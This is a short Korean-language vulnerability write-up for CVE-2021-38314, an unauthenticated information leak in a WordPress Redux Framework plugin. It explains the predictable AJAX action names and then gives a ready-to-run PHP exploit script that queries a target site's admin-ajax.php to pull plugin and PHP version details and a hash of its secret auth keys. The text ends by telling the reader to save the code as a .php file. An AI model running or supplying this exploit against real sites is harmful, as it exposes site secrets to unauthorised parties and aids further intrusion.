
cve-2021-38314 - 인증되지 않은 민감한 정보 노출
WordPress용 Gutenberg Template Library & Redux Framework 플러그인 <= 4.2.11은 redux-core/class-redux-core.php의 includes 함수에 인증되지 않은 사용자도 사용할 수 있는 여러 AJAX 액션을 등록했습니다. 이러한 액션은 특정 사이트에 고유하지만, 알려진 salt 값인 '-redux'를 사용한 사이트 URL의 md5 해시와 알려진 salt 값인 '-support'를 사용한 이전 해시의 md5 해시를 기반으로 하므로 결정적이고 예측 가능했습니다. 이러한 AJAX 액션을 사용하면 활성 플러그인 및 해당 버전 목록, 사이트의 PHP 버전, 그리고 사이트의 AUTH_KEY에 SECURE_AUTH_KEY를 연결한 무염(unsalted) md5 해시를 검색할 수 있었습니다 [1][2]
<?php
$target = "https://target.com";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2. '-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
echo file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");
이 소스 코드를 .php 확장자로 저장하십시오
